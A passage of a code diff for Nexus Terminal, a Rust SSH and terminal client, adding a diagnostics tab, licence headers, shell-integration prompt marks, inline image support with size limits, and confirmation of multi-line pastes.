+                    (true, true) => format!("unlocked, {} entr{}", sec.vault.keys().len(), if sec.vault.keys().len() == 1 { "y" } else { "ies" }),
+                },
+            ),
+            ("Profiles", s.profiles.len().to_string()),
+            ("Known hosts", format!("{} ({cas} SSH certificate authorit{})", known.len() - cas, if cas == 1 { "y" } else { "ies" })),
+            ("Open sessions", s.panes.len().to_string()),
+            (
+                "Profile sync",
+                if s.prefs.sync_folder.is_empty() {
+                    "off".into()
+                } else {
+                    format!("{} (password stored: {})", s.prefs.sync_folder, yes(s.svc.has_sync_password()))
+                },
+            ),
+            ("Update check at launch", yes(s.prefs.check_for_updates)),
+            ("Restore tabs", yes(s.prefs.restore_sessions)),
+        ]
+    }
+
+    fn diagnostics(&mut self, ui: &mut Ui, s: &mut Shared) {
+        let t = Tokens::get(ui.ctx());
+        let report = Self::diagnostics_report(s);
+        widgets::hint(ui, "Useful when reporting a problem. It contains paths and counts, never credentials.");
+        ui.add_space(4.0);
+        egui::Grid::new("diagnostics").num_columns(2).striped(true).spacing(vec2(16.0, 6.0)).show(ui, |ui| {
+            for (k, v) in &report {
+                ui.label(RichText::new(*k).color(t.text_dim));
+                ui.add(egui::Label::new(RichText::new(v).font(theme::mono(12.0))).wrap());
+                ui.end_row();
+            }
+        });
+        ui.add_space(8.0);
+        if widgets::button(ui, icon::COPY, "Copy Diagnostics").clicked() {
+            let text: String = report.iter().map(|(k, v)| format!("{k}: {v}\n")).collect();
+            ui.ctx().copy_text(text);
+            s.success("Diagnostics copied");
+        }
+    }
+
     // --- Help -----------------------------------------------------------------------------
 
     fn help(&mut self, ui: &mut Ui) {
@@ -505,14 +784,21 @@ impl Settings {
     // --- About ----------------------------------------------------------------------------
 
     fn about(&mut self, ui: &mut Ui, s: &mut Shared) {
+        const SOURCE_URL: &str = "https://github.com/andydixon/nexus";
         let t = Tokens::get(ui.ctx());
         ui.add_space(8.0);
         ui.label(RichText::new("Nexus Terminal").font(theme::semibold(22.0)));
         ui.label(RichText::new(format!("Version {}", nexus_core::service::VERSION)).color(t.text_dim));
-        ui.label(RichText::new("Developed by Andy Dixon - alchementary.co.uk").color(t.text_faint));
+        ui.label(RichText::new("Developed by Andy Dixon - dixon.cx/nexus").color(t.text_faint));
+        ui.horizontal(|ui| {
+            ui.label(RichText::new("Free software under the GNU Affero General Public License v3. Source:").color(t.text_faint));
+            if ui.link("github.com/andydixon/nexus").clicked() {
+                widgets::open_web_url(ui.ctx(), SOURCE_URL);
+            }
+        });
         ui.add_space(8.0);
         for f in [
-            "SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals",
+            "SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminals",
             "AES-256-GCM encrypted credential vault",
             "Platform-native keychain integration",
             "SFTP file browser and transfer",
@@ -533,7 +819,7 @@ impl Settings {
             if widgets::button(ui, icon::DOWNLOAD_SIMPLE, "Import ~/.ssh/config").clicked() {
                 match s.svc.import_ssh_config(None, "SSH Config") {
                     Ok(n) => {
-                        s.success(format!("Imported {n} host(s) from ~/.ssh/config"));
+                        s.success(ssh_import_summary(n));
                         s.request(Request::ReloadProfiles);
                     }
                     Err(e) => s.error(format!("SSH config import failed: {e}")),
@@ -559,8 +845,11 @@ impl Settings {
                             });
                         });
                     }
-                    if !info.release_url.is_empty() && widgets::button(ui, icon::ARROW_SQUARE_OUT, "View release").clicked() {
-                        ui.ctx().open_url(egui::OpenUrl::new_tab(&info.release_url));
+                    if widgets::is_web_url(&info.release_url)
+                        && widgets::button(ui, icon::ARROW_SQUARE_OUT, "View release").clicked()
+                        && !widgets::open_web_url(ui.ctx(), &info.release_url)
+                    {
+                        s.error("The release link is not a web address");
                     }
                 } else {
                     ui.label(RichText::new("You are running the latest version.").color(t.success));
@@ -823,7 +1112,7 @@ TOTP secrets for SSH two-factor authentication are stored alongside your other c
 ## Known Hosts
 When you connect to an SSH server for the first time, Nexus Terminal records the server's fingerprint. If the fingerprint changes on a later connection, you'll be warned — this protects against man-in-the-middle attacks.
 
-You can review and remove known hosts in **Settings → Known Hosts**.
+You can review and remove known hosts in **Settings → Known Hosts**, import or export them in OpenSSH known_hosts format, and trust SSH certificate authorities for host patterns.
 ## Encrypted Export
 When exporting profiles, encrypted export (a `.nexus` file) protects the file with a password, using the same AES-256-GCM encryption as the vault.",
     ),
@@ -851,7 +1140,7 @@ When exporting profiles, encrypted export (a `.nexus` file) protects the file wi
         "## Exporting Profiles
 Use **Export (Encrypted)** from the sidebar menu or command palette. Choose which profiles to include and set a password to encrypt the file. Exported files use the `.nexus` extension. Plain **JSON** export is also available, optionally including secrets.
 ## Importing Profiles
-Use **Import (Encrypted)**, select a `.nexus` file (older `.link` exports from Alchementary Link work too) and enter the password used when exporting. Choose whether existing profiles are skipped, overwritten or duplicated. Imported profiles appear in your sidebar immediately.
+Use **Import (Encrypted)**, select a `.nexus` file and enter the password used when exporting. Choose whether existing profiles are skipped, overwritten or duplicated. Imported profiles appear in your sidebar immediately.
 ## Importing from OpenSSH
 If you have an existing `~/.ssh/config` file, go to **Settings → About** and click **Import ~/.ssh/config**. Nexus Terminal creates profiles from your SSH Host blocks, including hostnames, usernames, ports, identity files, and jump hosts.",
     ),
@@ -921,6 +1210,12 @@ Open two or more sessions and press {Mod+Shift+B} to turn on broadcast mode. Eve
     ),
 ];
 
+pub fn ssh_import_summary((n, skipped): (usize, usize)) -> String {
+    match skipped {
+        0 => format!("Imported {n} host(s) from ~/.ssh/config"),
+        k => format!("Imported {n} host(s) from ~/.ssh/config; skipped {k} that couldn't be used as-is"),
+    }
+}
 #[cfg(test)]
 mod tests {
     use super::*;

rust/app/src/sftp.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! SFTP browser (right dock), the file-drop dialog and the remote directory picker.
 //! Every SFTP call blocks on the network, so it runs on a worker thread; results come back
 //! through `inbox` and are applied on the UI thread at the start of the next frame.
@@ -13,9 +16,10 @@ use nexus_core::clients::sftp::{self as rsftp, FileEntry, Progress};
 use nexus_core::keyfiles::safe_sftp_upload_name;
 use nexus_core::models::Protocol;
 use nexus_core::service::Service;
+use parking_lot::Mutex;
 use std::collections::{BTreeMap, HashMap, HashSet};
 use std::path::{Path, PathBuf};
-use std::sync::{Arc, Mutex};
+use std::sync::Arc;
 
 /// Worker results, applied on the UI thread.
 enum Done {
@@ -47,7 +51,7 @@ struct Inbox(Arc<Mutex<Vec<Done>>>, egui::Context);
 
 impl Inbox {
     fn push(&self, d: Done) {
-        self.0.lock().unwrap().push(d);
+        self.0.lock().push(d);
         self.1.request_repaint();
     }
 }
@@ -108,6 +112,8 @@ pub struct Sftp {
     /// Profile id (or host:port for quick connects) → bookmarked paths. Loaded on first use.
     bookmarks: Option<BTreeMap<String, Vec<String>>>,
     inbox: Arc<Mutex<Vec<Done>>>,
+    /// Where a browser opened from a terminal should start: the directory its shell reported.
+    start_at: HashMap<String, String>,
 }
 
 // --- path helpers ---------------------------------------------------------------------------
@@ -214,11 +220,16 @@ fn state_line(ui: &mut Ui, loading: bool, error: Option<&str>) -> bool {
 }
 
 impl Sftp {
-    pub fn toggle(&mut self, session: &str) {
+    /// Opens (or closes) the browser for `session`; `at` is the shell's reported directory, which
+    /// the browser goes to when it opens.
+    pub fn toggle(&mut self, session: &str, at: Option<String>) {
         if self.open_for.as_deref() == Some(session) {
             self.close(session);
         } else {
             self.open_for = Some(session.into());
+            if let Some(dir) = at.filter(|d| d.starts_with('/')) {
+                self.start_at.insert(session.into(), dir);
+            }
         }
     }
 
@@ -250,7 +261,7 @@ impl Sftp {
             let tr = self.transfers.remove(i);
             if self.open_for.as_deref() != Some(session) {
                 let verb = if tr.upload { "↑ Uploaded" } else { "↓ Downloaded" };
-                self.inbox.lock().unwrap().push(Done::Toast(format!("{verb} {}", base_name(&tr.path))));
+                self.inbox.lock().push(Done::Toast(format!("{verb} {}", base_name(&tr.path))));
             }
         }
     }
@@ -269,7 +280,7 @@ impl Sftp {
     }
 
     fn drain(&mut self, s: &mut Shared) {
-        let items = std::mem::take(&mut *self.inbox.lock().unwrap());
+        let items = std::mem::take(&mut *self.inbox.lock());
         for d in items {
             match d {
                 Done::Listed { session, path, files } => {
@@ -385,7 +396,9 @@ impl Sftp {
 
     fn download(&mut self, s: &Shared, session: &str, files: Vec<FileEntry>) {
         let targets: Vec<(FileEntry, PathBuf)> = if files.len() == 1 {
-            let Some(p) = rfd::FileDialog::new().set_file_name(&files[0].name).save_file() else {
+            // The name comes from the server: keep only a safe base name for the dialog's default.
+            let suggested = safe_sftp_upload_name(&files[0].name).unwrap_or_else(|_| "download".into());
+            let Some(p) = rfd::FileDialog::new().set_file_name(suggested).save_file() else {
                 return;
             };
             vec![(files[0].clone(), p)]
@@ -487,7 +500,11 @@ impl Sftp {
         let Some(session) = self.open_for.clone() else {
             return;
         };
-        if !self.panels.contains_key(&session) {
+        if let Some(dir) = self.start_at.remove(&session) {
+            if self.panels.get(&session).is_none_or(|p| p.cwd != dir) {
+                self.navigate(s, &session, Some(dir));
+            }
+        } else if !self.panels.contains_key(&session) {
             self.navigate(s, &session, None);
         }
         let t = Tokens::get(ui.ctx());
@@ -771,8 +788,8 @@ impl Sftp {
             return;
         };
         let t = Tokens::get(ctx);
-        let esc = ctx.input(|i| i.key_pressed(Key::Escape));
-        let enter = ctx.input(|i| i.key_pressed(Key::Enter));
+        let esc = crate::chrome::modal_key(ctx, Key::Escape);
+        let enter = crate::chrome::modal_key(ctx, Key::Enter);
         let mut keep = !esc;
         match &mut d {
             Dialog::Input { session, kind, value } => {
@@ -960,7 +977,7 @@ impl Sftp {
                     }
                 }
             }
-            if ctx.input(|i| i.key_pressed(Key::Enter)) && writable && !target.is_empty() {
+            if crate::chrome::modal_key(ctx, Key::Enter) && writable && !target.is_empty() {
                 chosen = Some(target.clone());
             }
             if back && pk.filter.is_empty() && !pk.cwd.is_empty() && pk.cwd != "/" {
@@ -1122,7 +1139,8 @@ fn paste_files(s: &mut Shared, session: &str, paths: &[PathBuf]) {
     }
     if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) {
         let mut out = crate::terminal::TermResponse::default();
-        term.paste(&combined, &mut out);
+        // The drop was already confirmed in its own dialog.
+        term.paste_now(&combined, &mut out);
         s.request(Request::Write(session.into(), out.input));
     }
 }

rust/app/src/sidebar.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! The connection sidebar: Local Machine, Favourites, Recent, folders, Ungrouped; fuzzy search;
 //! click to connect, Ctrl/Cmd-click to multi-select, double-click to edit; bulk actions.
 
@@ -185,7 +188,7 @@ fn local_row(app: &mut App, ui: &mut Ui) {
 fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) {
     let t = Tokens::get(ui.ctx());
     let selected = app.sidebar.selected.contains(&p.id);
-    let (r, resp) = ui.allocate_exact_size(vec2(ui.available_width(), 34.0), Sense::click());
+    let (r, resp) = ui.allocate_exact_size(vec2(ui.available_width(), 40.0), Sense::click());
     let r = r.shrink2(vec2(6.0, 1.0));
     if selected {
         ui.painter().rect_filled(r, 6.0, t.row_selected);
@@ -203,9 +206,13 @@ fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) {
     let name = if p.display_name.is_empty() { &p.host } else { &p.display_name };
     let text_r = Rect::from_min_max(r.min + vec2(24.0, 0.0), r.max - vec2(46.0, 0.0));
     let painter = ui.painter().with_clip_rect(text_r);
-    painter.text(text_r.left_top() + vec2(0.0, 3.0), Align2::LEFT_TOP, name, egui::FontId::proportional(13.0), t.text);
+    // Name, then a clear gap, then user@host; sized from the name's real row height so the two
+    // lines never crowd each other.
+    let name_font = egui::FontId::proportional(13.0);
+    let name_h = ui.fonts_mut(|f| f.row_height(&name_font));
+    painter.text(text_r.left_top() + vec2(0.0, 4.0), Align2::LEFT_TOP, name, name_font, t.text);
     let sub = if p.username.is_empty() || p.protocol == nexus_core::models::Protocol::Serial { p.host.clone() } else { format!("{}@{}", p.username, p.host) };
-    painter.text(text_r.left_bottom() - vec2(0.0, 3.0), Align2::LEFT_BOTTOM, sub, egui::FontId::proportional(11.0), t.text_faint);
+    painter.text(text_r.left_top() + vec2(0.0, 4.0 + name_h + 3.0), Align2::LEFT_TOP, sub, egui::FontId::proportional(11.0), t.text_faint);
     ui.painter().text(r.right_center() - vec2(8.0, 0.0), Align2::RIGHT_CENTER, protocol_badge(p.protocol), theme::semibold(9.0), col);
     if p.favourite {
         ui.painter().text(r.right_center() - vec2(36.0, 0.0), Align2::RIGHT_CENTER, "★", egui::FontId::proportional(11.0), t.warning);

rust/app/src/snippets.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Snippet library window and the {{variable}} prompt (port of snippets.js).
 
 use crate::state::{Request, Shared};
@@ -291,7 +294,7 @@ impl Snippets {
 
     fn var_form(&mut self, ctx: &egui::Context, s: &mut Shared) {
         let Some(f) = &mut self.vars else { return };
-        let (mut send, mut cancel) = (false, ctx.input(|i| i.key_pressed(Key::Escape)));
+        let (mut send, mut cancel) = (false, crate::chrome::modal_key(ctx, Key::Escape));
         crate::chrome::modal(ctx, "snippet-vars", 360.0, |ui| {
             ui.label(RichText::new("Snippet Variables").font(theme::semibold(15.0)));
             ui.add_space(4.0);
@@ -304,7 +307,7 @@ impl Snippets {
             }
             ui.add_space(8.0);
             ui.horizontal(|ui| {
-                send = widgets::primary(ui, icon::PAPER_PLANE_RIGHT, "Send").clicked() || ui.input(|i| i.key_pressed(Key::Enter));
+                send = widgets::primary(ui, icon::PAPER_PLANE_RIGHT, "Send").clicked() || crate::chrome::modal_key(ui.ctx(), Key::Enter);
                 cancel |= ui.button("Cancel").clicked();
             });
         });
@@ -322,7 +325,7 @@ impl Snippets {
             return;
         };
         let name = self.list.iter().find(|x| x.id == id).map(|x| x.name.clone()).unwrap_or_default();
-        let (mut yes, mut no) = (false, ctx.input(|i| i.key_pressed(Key::Escape)));
+        let (mut yes, mut no) = (false, crate::chrome::modal_key(ctx, Key::Escape));
         crate::chrome::modal(ctx, "snippet-delete", 360.0, |ui| {
             ui.label(RichText::new("Delete snippet?").font(theme::semibold(15.0)));
             ui.label(format!("\u{201c}{name}\u{201d} will be permanently deleted."));

rust/app/src/splits.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Split panes: a binary tree of sessions inside one tab. A new split starts as a placeholder
 //! pane offering Local Machine and the saved connections; ✕ on a pane promotes its sibling.
 

rust/app/src/ssh_keys.rs

@@ -1,4 +1,7 @@
-//! SSH Key Manager window: key pairs in ~/.ssh — copy public key, delete, generate (ssh-keygen).
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
+//! SSH Key Manager window: key pairs in ~/.ssh — copy public key, delete, generate (in-process, OpenSSH format).
 
 use crate::settings::{Job, poll};
 use crate::state::Shared;

rust/app/src/state.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! State shared by the main window and every feature module: the service, cached profiles and
 //! preferences, open tabs, toasts, and a request queue features use to ask the app to act.
 
@@ -10,6 +13,8 @@ use std::sync::Arc;
 /// Things a feature asks the main window to do (handled once per frame, in order).
 #[allow(clippy::large_enum_variant)] // a per-frame queue; boxing buys nothing
 pub enum Request {
+    /// Merge profiles with the sync folder (manual, or after a change).
+    SyncProfiles,
     /// Open the profile editor for a new profile (optionally pre-set protocol / folder).
     NewProfile {
         protocol: Option<Protocol>,
@@ -38,10 +43,13 @@ pub enum SettingsTab {
     Terminal,
     Security,
     KnownHosts,
+    Diagnostics,
     Help,
     About,
 }
 
+const MAX_TOASTS: usize = 8;
+
 pub struct Toast {
     pub text: String,
     pub kind: ToastKind,
@@ -126,8 +134,17 @@ impl Shared {
     }
 
     fn push(&mut self, text: impl Into<String>, kind: ToastKind) {
-        let secs = if kind == ToastKind::Error { 6.0 } else { 4.0 };
-        self.toasts.push(Toast { text: text.into(), kind, until: self.now + secs });
+        let (text, secs) = (text.into(), if kind == ToastKind::Error { 6.0 } else { 4.0 });
+        // Remote output can raise toasts (triggers, clipboard writes) at line rate: repeats only
+        // extend the visible one, and at most a handful are kept so a flood can't stall frames.
+        if let Some(t) = self.toasts.iter_mut().find(|t| t.text == text && t.kind == kind) {
+            t.until = self.now + secs;
+        } else {
+            self.toasts.push(Toast { text, kind, until: self.now + secs });
+            if self.toasts.len() > MAX_TOASTS {
+                self.toasts.remove(0);
+            }
+        }
         self.ctx.request_repaint();
     }
 

rust/app/src/tabs.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! The tab strip and the workspace under it: the active tab's session (or its split panes),
 //! terminal find bar and connection overlays.
 
@@ -51,7 +54,7 @@ fn empty_state(app: &mut App, ui: &mut Ui) {
         ui.vertical_centered(|ui| {
             ui.add(egui::Image::new(&crate::chrome::logo(ui.ctx())).fit_to_exact_size(vec2(84.0, 84.0)));
             ui.label(RichText::new("Nexus Terminal").font(theme::semibold(28.0)));
-            ui.label(RichText::new("SSH · Telnet · RAW · Serial · VNC · IRC · GitHub").color(t.text_dim));
+            ui.label(RichText::new("SSH · Telnet · RAW · Serial · VNC · RDP · IRC · GitHub").color(t.text_dim));
             ui.add_space(18.0);
             ui.horizontal(|ui| {
                 ui.add_space((ui.available_width() - 330.0).max(0.0) / 2.0);
@@ -328,6 +331,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
                 find_bar(app, ui, term);
             }
             let theme = crate::terminal_themes::get(&theme_id);
+            term.confirm_paste = app.s.prefs.confirm_multiline_paste;
             let r = term.ui(ui, theme, focused_tab);
             if pane.highlight_until > app.s.now {
                 ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside);
@@ -338,7 +342,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
         View::Raw(v) => v.ui(ui, &mut app.s),
         View::Irc(v) => v.ui(ui, &mut app.s),
         View::Github(v) => v.ui(ui, &mut app.s),
-        View::Vnc(v) => v.ui(ui, &mut app.s),
+        View::Desktop(v) => v.ui(ui, &mut app.s),
     }
     let state = app.s.session_state(id).unwrap_or(pane.info.state);
     let local_exited = pane.local_exited;
@@ -379,6 +383,12 @@ fn terminal_response(app: &mut App, id: &str, r: TermResponse, local_exited: boo
     if r.bell {
         app.s.ctx.request_repaint();
     }
+    if let Some(text) = r.clipboard {
+        app.remote_clipboard(&text);
+    }
+    if let Some(text) = r.confirm_paste {
+        app.dialog = Some(crate::app::Dialog::ConfirmPaste { session: id.into(), text });
+    }
     if let Some(a) = r.menu {
         app.terminal_menu(id, a);
     }

rust/app/src/terminal.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! TermView: an alacritty_terminal grid drawn with egui's painter. Bytes from a session go
 //! straight into the VT parser; keystrokes, paste, mouse reports and terminal replies come back
 //! out through `TermResponse` for the app to send to the session (and broadcast targets).
@@ -12,7 +15,8 @@ use alacritty_terminal::term::test::TermSize;
 use alacritty_terminal::term::{Config, Term, TermMode};
 use alacritty_terminal::vte::ansi::{self, Color, CursorShape, NamedColor, Processor, StdSyncHandler};
 use egui::{Color32, Event, FontId, Key, Modifiers, PointerButton, Pos2, Rect, Sense, Stroke, Ui, pos2, vec2};
-use std::sync::{Arc, Mutex};
+use parking_lot::Mutex;
+use std::sync::Arc;
 
 #[derive(Clone, Default)]
 struct Listener(Arc<Mutex<Vec<TermEvent>>>);
@@ -20,7 +24,7 @@ struct Listener(Arc<Mutex<Vec<TermEvent>>>);
 impl EventListener for Listener {
     fn send_event(&self, e: TermEvent) {
         if matches!(e, TermEvent::PtyWrite(_) | TermEvent::Title(_) | TermEvent::Bell | TermEvent::ClipboardStore(..)) {
-            self.0.lock().unwrap().push(e);
+            self.0.lock().push(e);
         }
     }
 }
@@ -39,6 +43,9 @@ pub enum MenuAction {
     Export,
     Clear,
     Reset,
+    PrevPrompt,
+    NextPrompt,
+    CopyOutput,
 }
 
 #[derive(Default)]
@@ -52,6 +59,10 @@ pub struct TermResponse {
     pub title: Option<String>,
     pub bell: bool,
     pub focused: bool,
+    /// Text the remote asked to put on the clipboard (OSC 52); the app applies its preference.
+    pub clipboard: Option<String>,
+    /// A paste held back for confirmation (see [`TermView::paste`]).
+    pub confirm_paste: Option<String>,
 }
 
 #[derive(Clone, Copy, PartialEq, Eq, Default)]
@@ -100,8 +111,49 @@ pub struct TermView {
     generation: u64,
     pub find: Option<Find>,
     focus_requested: bool,
+    /// Hold back multi-line pastes that would run unbracketed (set from preferences each frame).
+    pub confirm_paste: bool,
+    osc: crate::osc::OscScanner,
+    /// Shell-integration prompts (OSC 133), oldest first.
+    prompts: Vec<PromptMark>,
+    /// Lines rotated out of a full scrollback since start, so marks keep pointing at their text.
+    rotated: i64,
+    max_history: usize,
+    /// The working directory the shell last reported (OSC 7): (host, path).
+    pub reported_cwd: Option<(String, String)>,
+    /// Inline images (iTerm2 OSC 1337), oldest first.
+    images: Vec<InlineImage>,
+    /// Cell size in points from the last frame, for sizing images that arrive between frames.
+    cell_px: (f32, f32),
 }
 
+struct InlineImage {
+    stable: i64,
+    col: usize,
+    cols: usize,
+    rows: usize,
+    pixels: Option<egui::ColorImage>,
+    texture: Option<egui::TextureHandle>,
+    size: usize,
+}
+
+/// Pixels of inline images kept per terminal; the oldest go first.
+const MAX_IMAGE_PIXELS: usize = 32 << 20;
+
+/// One command as shell integration reported it. Lines are stable indexes (see `stable`).
+#[derive(Clone, Debug)]
+struct PromptMark {
+    prompt: i64,
+    output: Option<i64>,
+    end: Option<i64>,
+    exit: Option<i32>,
+    started: Option<std::time::Instant>,
+    duration: Option<std::time::Duration>,
+}
+
+/// Marks kept per terminal; older ones are dropped.
+const MAX_PROMPTS: usize = 5000;
+
 const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#;
 
 fn rgb(c: [u8; 4]) -> Color32 {
@@ -127,14 +179,215 @@ impl TermView {
             generation: 0,
             find: None,
             focus_requested: true,
+            confirm_paste: false,
+            osc: Default::default(),
+            prompts: Vec::new(),
+            rotated: 0,
+            max_history: scrollback.min(100_000),
+            reported_cwd: None,
+            images: Vec::new(),
+            cell_px: (8.0, 16.0),
         }
     }
 
     pub fn feed(&mut self, bytes: &[u8]) {
-        self.parser.advance(&mut self.term, bytes);
+        let mut start = 0;
+        for (end, osc) in self.osc.scan(bytes) {
+            self.advance(&bytes[start..end]);
+            start = end;
+            self.apply_osc(osc);
+        }
+        self.advance(&bytes[start..]);
         self.generation += 1;
     }
 
+    /// Feeds the VT parser, counting lines a full scrollback rotates out (one per line feed at the
+    /// bottom of the screen) so shell-integration marks stay on their lines.
+    fn advance(&mut self, bytes: &[u8]) {
+        if (self.prompts.is_empty() && self.images.is_empty()) || self.term.mode().contains(TermMode::ALT_SCREEN) {
+            self.parser.advance(&mut self.term, bytes);
+            return;
+        }
+        let h0 = self.term.grid().history_size();
+        if h0 < self.max_history {
+            self.parser.advance(&mut self.term, bytes);
+        } else {
+            // ponytail: counts LF at the bottom row only; scroll-region and CSI S scrolling while
+            // the history is full can leave marks a few lines off.
+            let bottom = self.rows as i32 - 1;
+            for piece in bytes.split_inclusive(|&b| b == b'\n') {
+                let at_bottom = self.term.grid().cursor.point.line.0 == bottom;
+                self.parser.advance(&mut self.term, piece);
+                if at_bottom && piece.ends_with(b"\n") && self.term.grid().history_size() == self.max_history {
+                    self.rotated += 1;
+                }
+            }
+        }
+        if self.term.grid().history_size() < h0 {
+            // The scrollback was cleared: earlier marks point at nothing.
+            self.prompts.clear();
+            self.images.clear();
+        }
+    }
+
+    /// Stable index of a grid line: unchanged as lines scroll into (and out of) the history.
+    fn stable(&self, line: Line) -> i64 {
+        self.term.grid().history_size() as i64 + line.0 as i64 + self.rotated
+    }
+
+    fn line_of(&self, stable: i64) -> Line {
+        Line((stable - self.rotated - self.term.grid().history_size() as i64) as i32)
+    }
+
+    fn cursor_stable(&self) -> i64 {
+        self.stable(self.term.grid().cursor.point.line)
+    }
+
+    fn apply_osc(&mut self, osc: crate::osc::Osc) {
+        use crate::osc::Osc;
+        match osc {
+            Osc::Prompt => {
+                let line = self.cursor_stable();
+                if self.prompts.last().is_some_and(|p| p.prompt == line) {
+                    return;
+                }
+                if self.prompts.len() >= MAX_PROMPTS {
+                    self.prompts.remove(0);
+                }
+                self.prompts.push(PromptMark { prompt: line, output: None, end: None, exit: None, started: None, duration: None });
+            }
+            Osc::Output => {
+                let line = self.cursor_stable();
+                if let Some(p) = self.prompts.last_mut() {
+                    p.output = Some(line);
+                    p.started = Some(std::time::Instant::now());
+                }
+            }
+            Osc::Finished(code) => {
+                let line = self.cursor_stable();
+                if let Some(p) = self.prompts.last_mut().filter(|p| p.output.is_some() && p.end.is_none()) {
+                    p.end = Some(line);
+                    p.exit = code;
+                    p.duration = p.started.map(|t| t.elapsed());
+                }
+            }
+            Osc::Cwd { host, path } => self.reported_cwd = Some((host, path)),
+            Osc::Image { data, width, height } => self.place_image(&data, &width, &height),
+        }
+    }
+
+    /// Decodes an inline image (PNG, JPEG or GIF, within size limits), anchors it at the cursor and
+    /// moves the cursor below it, as iTerm2 does.
+    fn place_image(&mut self, data: &[u8], width: &str, height: &str) {
+        if self.term.mode().contains(TermMode::ALT_SCREEN) {
+            return;
+        }
+        let decoded = (|| {
+            let reader = || image::ImageReader::new(std::io::Cursor::new(data)).with_guessed_format().ok();
+            // Read the header first: refuse anything larger than the per-terminal image budget
+            // before decoding, since the decoder's own limits don't bound every internal buffer.
+            let (w, h) = reader()?.into_dimensions().ok()?;
+            if w as usize * h as usize > MAX_IMAGE_PIXELS {
+                return None;
+            }
+            let mut r = reader()?;
+            let mut limits = image::Limits::default();
+            limits.max_image_width = Some(8192);
+            limits.max_image_height = Some(8192);
+            limits.max_alloc = Some((MAX_IMAGE_PIXELS * 4) as u64);
+            r.limits(limits);
+            Some(r.decode().ok()?.to_rgba8())
+        })();
+        let Some(img) = decoded else { return };
+        let (cw, ch) = self.cell_px;
+        let (iw, ih) = (img.width() as f32, img.height() as f32);
+        let full_w = self.cols as f32 * cw;
+        let dim = |arg: &str, full: f32, cell: f32| -> Option<f32> {
+            let a = arg.trim();
+            if a.is_empty() || a == "auto" {
+                None
+            } else if let Some(px) = a.strip_suffix("px") {
+                px.parse().ok()
+            } else if let Some(pc) = a.strip_suffix('%') {
+                pc.parse::<f32>().ok().map(|p| full * p / 100.0)
+            } else {
+                a.parse::<f32>().ok().map(|n| n * cell)
+            }
+        };
+        let (w, h) = match (dim(width, full_w, cw), dim(height, self.rows as f32 * ch, ch)) {
+            (Some(w), Some(h)) => (w, h),
+            (Some(w), None) => (w, w * ih / iw),
+            (None, Some(h)) => (h * iw / ih, h),
+            (None, None) => (iw, ih),
+        };
+        // Never wider than the terminal; keep the aspect ratio when shrinking.
+        let scale = (full_w / w).min(1.0);
+        let (w, h) = (w * scale, h * scale);
+        let cols = ((w / cw).ceil() as usize).clamp(1, self.cols as usize);
+        let rows = ((h / ch).ceil() as usize).clamp(1, 1000);
+        let size = img.width() as usize * img.height() as usize;
+        while !self.images.is_empty() && self.images.iter().map(|i| i.size).sum::<usize>() + size > MAX_IMAGE_PIXELS {
+            self.images.remove(0);
+        }
+        let pixels = egui::ColorImage::from_rgba_unmultiplied([img.width() as usize, img.height() as usize], img.as_raw());
+        let (stable, col) = (self.cursor_stable(), self.term.grid().cursor.point.column.0);
+        self.images.push(InlineImage { stable, col, cols, rows, pixels: Some(pixels), texture: None, size });
+        // Leave room: the cursor ends up on the line below the image.
+        self.advance(&b"\r\n".repeat(rows));
+    }
+
+    fn paint_images(&mut self, ui: &Ui, rect: Rect, origin: Pos2, cw: f32, ch: f32) {
+        let top = self.term.grid().topmost_line().0;
+        let offset = self.term.grid().display_offset() as i32;
+        // Line of a stable index, without borrowing self (the loop below mutates the images).
+        let (rotated, history) = (self.rotated, self.term.grid().history_size() as i64);
+        let line_of = |stable: i64| (stable - rotated - history) as i32;
+        // Images that scrolled out of the scrollback are gone with it.
+        self.images.retain(|i| line_of(i.stable) + i.rows as i32 > top);
+        let painter = ui.painter_at(rect);
+        let rows = self.rows as i32;
+        for img in &mut self.images {
+            let vr = line_of(img.stable) + offset;
+            if vr + img.rows as i32 <= 0 || vr >= rows {
+                continue;
+            }
+            let at = Rect::from_min_size(origin + vec2(img.col as f32 * cw, vr as f32 * ch), vec2(img.cols as f32 * cw, img.rows as f32 * ch));
+            let tex = img.texture.get_or_insert_with(|| {
+                let px = img.pixels.take().unwrap_or_default();
+                ui.ctx().load_texture("term-image", px, egui::TextureOptions::LINEAR)
+            });
+            // Fit inside the reserved cells, keeping the aspect ratio.
+            let [tw, th] = tex.size();
+            let s = (at.width() / tw as f32).min(at.height() / th as f32);
+            let shown = Rect::from_min_size(at.min, vec2(tw as f32 * s, th as f32 * s));
+            painter.image(tex.id(), shown, Rect::from_min_max(Pos2::ZERO, pos2(1.0, 1.0)), Color32::WHITE);
+        }
+    }
+
+    /// Scrolls so the previous (or next) prompt is at the top. False when there is none.
+    pub fn jump_prompt(&mut self, forward: bool) -> bool {
+        let top = Line(-(self.term.grid().display_offset() as i32));
